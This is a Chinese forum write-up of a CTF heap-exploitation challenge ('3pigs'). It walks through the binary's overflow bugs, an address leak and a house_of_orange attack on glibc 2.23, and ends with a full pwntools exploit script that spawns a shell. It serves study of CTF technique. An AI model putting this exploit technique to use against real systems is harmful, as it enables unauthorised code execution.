首页
社区
课程
招聘
[原创]CTF2018第十一题分析(qwertyaa)
2018-7-8 03:42 2967

[原创]CTF2018第十一题分析(qwertyaa)

2018-7-8 03:42
2967

终于在题目开始变难后写出了一题比较水的...

程序分析

首先我们分析这个名为3pigs的程序。

 

其中有三只猪和一只额外的飞猪、5种操作:

  1. create:给指定的猪创建一个房子,结构为[猪的名字(0x16),房内数据(200-0x16)
  2. delete:销毁指定猪的房子
  3. show:显示所有猪是否有房子和猪的名字、房子内数据信息。(仅可显示一次)
  4. secret:输入一串密码UOTp%I<S创建飞猪的房子(可反复创建),大小0x70。
  5. editSecret:修改飞猪房子地址+0x80的内容,一般情况下是下一个房子的起始信息。(飞猪的房子每创建一次后仅可修改一次)

Bug也很明显:操作1中读入房内数据的大小限制是0x200个字节,比malloc的空间多16个字节;操作5明显是个修改外部内容的功能;读入数据后,数据的后一字节会被置0(数据最后一字节为0x10除外);猪的名字采用strncpy赋值,猪的名字结束处不会被强制赋值为0。

题目分析

程序中的漏洞是很明显,对于我们攻击者(大灰狼)来说就像前两只小猪一样,但最后一只小猪的房子相比就相当结实了,这些漏洞似乎不怎么好利用啊。所以我作为一只不够格的大灰狼,必须要借助推土机(即各位大神的文章)。

 

另外,程序里面专门申请了一段空间画了个猪头,不知何意:

QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQNQQQQQQHQQQ
          U QQQQQQQQQQQQQQQQQQQQQQQQQQ              QQQ
 QQQQQQQQQQ    PRQQQQQQQQQQQQQQQQQQQ    QQQQQQQQQQQ QQQ
 NQQQQQQQQQQQQQR  QQQQQQ  QQQ QQQQ   QQQQQQQQQQQQQQ QQQ
  MQQQQQQQQQQQQQQ       RQQQQQQ P   O QQQQQQQQQQQQM QQQ
Q QQQQQQQQQQQQQQN I QQQQQQQQQQQQQQQ M  RQQQQQQQQQM  RQQ
R LMQQQQQQQQQ J  QQQQQQQQQQQQQQQQQQQQQQMQ  QQQQQQQ QQQQ
QR  RQQQQQQQ VQQQM      QQQQQQQQ        Q  LRQQ Q  QQQQ
QQ X QQQQQQ QQQQH QQQQ  QQQQQQQQ QQQQQ  QQQH QQ  BQQQQQ
QQQQ   A Q QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQD    QQQQQQ
QQQQQQQ    RQQQQQQQ  QQQQQQQQQQQQQR  QQQQQQQR VRQQQQQQQ
QQQQQQQQQ QQQQQQQQQDQQQQQQQQQQQQQQQQMQQQQQQQ  QRQQQQQQQ
QQQQQQQQQ QQQQQQQQQQ                QQQQQQQQQQ QQQQQQQQ
QQQQQQQQQ QQQQQQQQQ  QQQQQRQQQQQQQR  QQQQQQQQQ RQQQQQQQ
QQQQQQQQRS MQQQQQR  QQM  RQQQDH  QRM  MQQQQQM  QQQQQQQQ
QQQQQQQQQQ MQQQQQ   QRQ  RRQQRQ  QQQ   QQQQQM QQQQQQQQQ
QQQQQQQQQQQ QQQQQQ   QQ  QQQQQQ  QQ  RQQQQQQ RQQQQQQQQQ
QQQQQQQQQQQ  P QQQQ    NQQQQQQQQH    QQQQQN QQQQQQQQQQQ
QQQQQQQQQQQQQRL QQQQQQQQQQQQQQQQQQQQQQ   G QQQQQQQQQQQQ
QQQQQQQQQQQQQQQ B   QQQQQQQQQQQQQQQQR    QQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQ                  QQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ

漏洞利用

首先这里没什么东西是被放在堆里的,而我们可以修改的内容却仅限于堆,这使得我们不能获得这个开启了PIE的程序的基址,只能另谋出路。

 

找来找去,我发现在上一题和上上题pwn中,holing大佬的writeup中提到了house_of_orange,这种攻击只需要我们得到libc和堆基址即可。

 

//话说这种攻击方法似乎在libc-2.24中被加难了,在(似乎是未来的)libc-2.28中会彻底无效,还好服务器是16.04(libc-2.23)。

地址泄露

首先我们做几个操作:

secret()
create(2,'hello')
secret()
create(1,'hi')
create(0,"hi")
delete(1)
delete(2)

先创建并free一些buf,这里的secret()是阻止两个unsorted_bin合并,0号房子是阻止unsorted_bin和top_chunk合并。

 

这样在1、2号猪原来申请的空间+0x8的位置(也就是现在的bk)就分别变成libc和堆上一个指针。

 

为了这个指针能被打印,我们可以再申请一个2号猪的房间,2号猪的名字恰好8个字节,printf输出时恰好可以输出后面的地址。

 

这里有一个问题是show操作只能进行一次,所以两个地址必须同时泄露,而只有一只猪的名字恰好长度为8。为了解决这个问题,我们可以先让2号猪申请到原1号猪的“尸体”上,这样在+0x7处留下一个'l'。接下来为了保证这里不被覆盖,我们不能让它变成unsorted_bin的fd末尾的0(64位系统内地址最高位常为0),所以我们free掉0号猪和这里的2好猪,让这个空间被top_chunk合并。具体程序如下:

create(2,"\x00")
delete(0)
delete(2)
create(2,"endFlag")
create(1,"endFlag")
ct=show()

这样我们就得到了libc+0x3C4B78和heap+0xeb0(具体值本地cat maps后得出,因为肯定是固定的)的地址。

 

同时,我们需要做一些整理,确保接下来申请的内存都在top_chunk中进行:

delete(2)
delete(1)
secret()
secret()

进行攻击

关于house_of_orange的讲解,我觉得这篇最为清晰。这里由于可以进行free,从而很方便的构造出unsorted_bin所以我们不需要house_of_orange中前半段关于top_chunk的操作(似乎也不能那么做,因为我们可写的地址有限),只需要后半段修改一个unsorted_bin和最后申请一个空间的操作。

 

house_of_orange里需要一个很大的空间,而我们这里可写的地址非常有限,所以大部分内容都要在create操作时写入,然后free掉这些房子。

 

内存布局如下(先create成上面的,再free后调用一次secret变成下面的):

+-------------+-------------+-------------+-------+-----+
+    pig0     +    pig1     +    pig2     +secret + top +
+------+------+-------------+-------------+-------+-----+
+secret+      unsorted_bin                +secret + top +
+------+----------------------------------+-------+-----+

其中需要修改的fd、bk在secret创建后才被libc修改为正确值,我们需要用editSecret来把它修改成我们希望的错误值,这里由于bk后紧跟的数字要改为2,所以不能让它被程序内读入函数置为0,由于64位系统内地址最高位常为0,我们恰好可以用p64(ilap-0x10)[:7]解决问题。

 

这部分代码如下:

create(0,'0'*(0x80-0x10-0x10)+"/bin/sh\x00"+p64(0)*3+p64(2)+p64(3))#pre0x58
create(1,p64(0)*1+p64(sysp)+"\x00"*0x40+p64(0)*3+p64(he+0x1080+0x80+12*8))#st +0x60
create(2,"hi")
secret()
delete(2)
delete(1)
delete(0)
secret()
editSecret(p64(lc+0x3C4B78)+p64(ilap-0x10)[:7])
secret()

需要注意的是holing提到的

其实house of orange还有一个坑,只有当libc的低DWORD为负数的时候,才有效,具体是要让_IO_list_all中第一个元素(在main arena上)不过这个check,不然就会通过虚表call到main arena上面去,具体跟一下就知道了。。。

 

大概就是攻击不会都每次成功。

 

完整exp如下:

#coding:utf-8
from pwn import *
import sys
context.arch = 'amd64'
dlc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
if len(sys.argv) < 2:
    context.log_level = 'debug'
    p = process('./3pigs')
else:
    p = remote(sys.argv[1], int(sys.argv[2]))

def create(index,data):
    p.recvuntil('ope:')
    p.sendline('1')
    p.recvuntil('num:')
    p.sendline(str(index))
    p.recvuntil('data:')
    p.send(data)

def delete(index):
    p.recvuntil('ope:')
    p.sendline('2')
    p.recvuntil('num:')
    p.sendline(str(index))

def show():
    p.recvuntil('ope:')
    p.sendline('3')
    return p.recvuntil('Success')

def secret():
    p.recvuntil('ope:')
    p.sendline('4')
    p.recvuntil('secret:')
    p.sendline('UOTp%I<S')

def secretAtt():
    p.recvuntil('ope:')
    p.sendline('4')
    p.recvuntil('secret:')
    p.sendline('/bin/sh')   

def editSecret(data):
    p.recvuntil('ope:')
    p.sendline('5')
    p.recvuntil('data:')
    p.send(data)

def multiSecret(times):
    for i in range(times):
        secret()

#Leaking
secret()
create(2,'hello')
secret()
create(1,'hi')
create(0,"hi")
delete(1)
delete(2)
create(2,"\x00")
delete(0)
delete(2)
create(2,"endFlag")
create(1,"endFlag")
ct=show()
p.info(ct)
he=ct[ct.find("Red Boyi")+8:]
he=he[:he.find('|endFlag')]
he=u64(he+'\x00'*(8-len(he)))#+0xeb0
he-=0xeb0
p.info("heap base: "+hex(he))
lc=ct[ct.find("Small Li")+8:]
lc=lc[:lc.find('|endFlag')]
lc=u64(lc+'\x00'*(8-len(lc)))
lc-=0x3C4B78
p.info("libc base: "+hex(lc))
sysp=lc+dlc.symbols['system']
ilap=lc+dlc.symbols['_IO_list_all']#IO_list_all
delete(2)
delete(1)
multiSecret(2)
#Attack
create(0,'0'*(0x80-0x10-0x10)+"/bin/sh\x00"+p64(0)*3+p64(2)+p64(3))#pre0x58
create(1,p64(0)*1+p64(sysp)+"\x00"*0x40+p64(0)*3+p64(he+0x1080+0x80+12*8))#st +0x60
create(2,"hi")
secret()
delete(2)
delete(1)
delete(0)
secret()
editSecret(p64(lc+0x3C4B78)+p64(ilap-0x10)[:7])
secret()
p.interactive()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-7-8 04:00 被qwertyaa编辑 ,原因: 校对
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回